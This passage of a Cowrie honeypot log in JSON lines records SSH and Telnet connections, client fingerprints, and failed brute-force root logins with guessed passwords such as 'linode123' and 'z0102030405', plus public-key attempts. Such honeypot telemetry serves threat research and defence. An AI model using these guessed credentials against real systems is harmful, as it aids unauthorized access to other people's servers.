ffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:27:27.179904Z","src_ip":"171.244.201.80","session":"274f236d0db8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gemma","message":"login attempt [root/gemma] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:27:28.202693Z","src_ip":"171.244.201.80","session":"274f236d0db8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:27:30.006441Z","src_ip":"171.244.201.80","session":"274f236d0db8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42968,"dst_ip":"10.17.0.5","dst_port":23,"session":"9077ffc01776","protocol":"telnet","message":"New connection: 152.42.224.71:42968 (10.17.0.5:23) [session: 9077ffc01776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:27:30.558328Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50774,"dst_ip":"10.17.0.5","dst_port":23,"session":"e83fa24ed7b5","protocol":"telnet","message":"New connection: 152.42.224.71:50774 (10.17.0.5:23) [session: e83fa24ed7b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:27:43.372074Z"}
{"eventid":"cowrie.session.closed","duration":29.545455932617188,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:27:44.375551Z","src_ip":"152.42.224.71","session":"7b8fe4616f4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":100.82146215438843,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:27:53.005759Z","src_ip":"152.42.224.71","session":"cac05fc40bfb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":36282,"dst_ip":"159.203.135.109","dst_port":22,"session":"0983ce7521bb","protocol":"ssh","message":"New connection: 103.15.222.183:36282 (159.203.135.109:22) [session: 0983ce7521bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:27:57.752837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:27:57.757228Z","src_ip":"103.15.222.183","session":"0983ce7521bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:27:58.096321Z","src_ip":"103.15.222.183","session":"0983ce7521bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"christian","message":"login attempt [root/christian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:27:58.917839Z","src_ip":"103.15.222.183","session":"0983ce7521bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:00.172770Z","src_ip":"103.15.222.183","session":"0983ce7521bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":38576,"dst_ip":"159.203.135.109","dst_port":22,"session":"bee40005a21f","protocol":"ssh","message":"New connection: 103.27.238.116:38576 (159.203.135.109:22) [session: bee40005a21f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:08.929608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:08.934657Z","src_ip":"103.27.238.116","session":"bee40005a21f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:09.205237Z","src_ip":"103.27.238.116","session":"bee40005a21f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sergio","message":"login attempt [root/sergio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:10.018213Z","src_ip":"103.27.238.116","session":"bee40005a21f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:11.290331Z","src_ip":"103.27.238.116","session":"bee40005a21f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43694,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d725d358940","protocol":"telnet","message":"New connection: 152.42.224.71:43694 (10.17.0.5:23) [session: 3d725d358940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:12.000435Z"}
{"eventid":"cowrie.session.closed","duration":30.227872610092163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:13.599832Z","src_ip":"152.42.224.71","session":"e83fa24ed7b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.237.92","src_port":60962,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9efda941190","protocol":"ssh","message":"New connection: 196.189.237.92:60962 (10.17.0.5:22) [session: d9efda941190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:16.007070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:16.012122Z","src_ip":"196.189.237.92","session":"d9efda941190","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":45402,"dst_ip":"159.203.135.109","dst_port":22,"session":"54e5c4121f3d","protocol":"ssh","message":"New connection: 62.133.62.83:45402 (159.203.135.109:22) [session: 54e5c4121f3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:16.032623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:16.037560Z","src_ip":"62.133.62.83","session":"54e5c4121f3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:16.117568Z","src_ip":"62.133.62.83","session":"54e5c4121f3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:16.185869Z","src_ip":"196.189.237.92","session":"d9efda941190","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"z0102030405","message":"login attempt [root/z0102030405] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:16.359566Z","src_ip":"62.133.62.83","session":"54e5c4121f3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linode123","message":"login attempt [root/linode123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:16.885238Z","src_ip":"196.189.237.92","session":"d9efda941190","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:17.445473Z","src_ip":"62.133.62.83","session":"54e5c4121f3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:18.054726Z","src_ip":"196.189.237.92","session":"d9efda941190","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":112.9498188495636,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:18.250041Z","src_ip":"152.42.224.71","session":"6836b2fcb1fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.61484432220459,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:23.173046Z","src_ip":"152.42.224.71","session":"9077ffc01776","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":55806,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff11a91cb61e","protocol":"ssh","message":"New connection: 46.19.67.181:55806 (159.203.135.109:22) [session: ff11a91cb61e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:26.052698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:26.057455Z","src_ip":"46.19.67.181","session":"ff11a91cb61e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:26.171481Z","src_ip":"46.19.67.181","session":"ff11a91cb61e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345v","message":"login attempt [root/12345v] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:26.513976Z","src_ip":"46.19.67.181","session":"ff11a91cb61e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:27.634125Z","src_ip":"46.19.67.181","session":"ff11a91cb61e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":98.70960807800293,"message":"Connection lost after 98 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:34.680451Z","src_ip":"152.42.224.71","session":"16568dc2d5f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.26.43","src_port":44582,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a31f9fa383d","protocol":"ssh","message":"New connection: 103.149.26.43:44582 (10.17.0.5:22) [session: 7a31f9fa383d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:42.008026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:42.013201Z","src_ip":"103.149.26.43","session":"7a31f9fa383d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:42.232900Z","src_ip":"103.149.26.43","session":"7a31f9fa383d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:64:d5:e3:cd:32:8c:2e:b2:f6:d4:a2:7c:bc:f2:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+TRAFFYS1OMTHhfQr2z6IMp6HL3EJ5/W2j2ZHcGCfIptFYpzwlWRa1E9zlRsMJIBJfVLqZFwhCQ5vDzvvmUwBNv1bJXEnr2z9irPzE4UHKH2bDyIoAdQcxFs0eJ8uq+azYmE0xyFrAuIGnZQ6TBZvIh2zqdXnK0d4vC3fjZekUr55ZRIsnU43sgz1mr/FJwuYc3BIVE0VPHbV0XkMnCBTcxQdOtT3txgXFyK+jSJQqAU+bskED4TNxW61OdgaXrC6NlCaL76B6OID/dZYTooeiqNfy5MUVVbsEOgkkEOxnRo8To7z7SKGdJTo8UGvxTDnzQ8/5WHCedZ56QEvOp5f","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:64:d5:e3:cd:32:8c:2e:b2:f6:d4:a2:7c:bc:f2:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:43.304451Z","src_ip":"103.149.26.43","session":"7a31f9fa383d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:64:d5:e3:cd:32:8c:2e:b2:f6:d4:a2:7c:bc:f2:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+TRAFFYS1OMTHhfQr2z6IMp6HL3EJ5/W2j2ZHcGCfIptFYpzwlWRa1E9zlRsMJIBJfVLqZFwhCQ5vDzvvmUwBNv1bJXEnr2z9irPzE4UHKH2bDyIoAdQcxFs0eJ8uq+azYmE0xyFrAuIGnZQ6TBZvIh2zqdXnK0d4vC3fjZekUr55ZRIsnU43sgz1mr/FJwuYc3BIVE0VPHbV0XkMnCBTcxQdOtT3txgXFyK+jSJQqAU+bskED4TNxW61OdgaXrC6NlCaL76B6OID/dZYTooeiqNfy5MUVVbsEOgkkEOxnRo8To7z7SKGdJTo8UGvxTDnzQ8/5WHCedZ56QEvOp5f","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:43.308248Z","src_ip":"103.149.26.43","session":"7a31f9fa383d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:e2:9f:7a:cd:04:45:8b:24:78:e4:84:96:3c:70:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0zHLJyUAbz4gDC525+0Cu42luz9amHNLEud3+obBzprs4F/Rzgk5WoTpwcrZqCXVOIFzsVikhTTElc/BEiriphKFPx9OIg6uXMR2AJOuHA6BzV991WM20O5jlUnXzIg4hx3V9duzNw4Zr1Fbxku45x6lX7NrIqFUP+vkFcaVQJZf044VI9Ikrs5jag+6YUDkgchyn6mb4kLt98KYY40TmahSkqznYfUrn8cF6CfEupziFgrCkF3ClMRo1OFPJWpu0Pgr7ouhxzt/K84T15ctT7ZCFMy9WB3uQ1lES2Zxj3Lo0Ua6tqomtJopdqWnlg142rUwiGje2Qpq6TW7bZPV/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:e2:9f:7a:cd:04:45:8b:24:78:e4:84:96:3c:70:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:28:43.531791Z","src_ip":"103.149.26.43","session":"7a31f9fa383d","protocol":"ssh"}
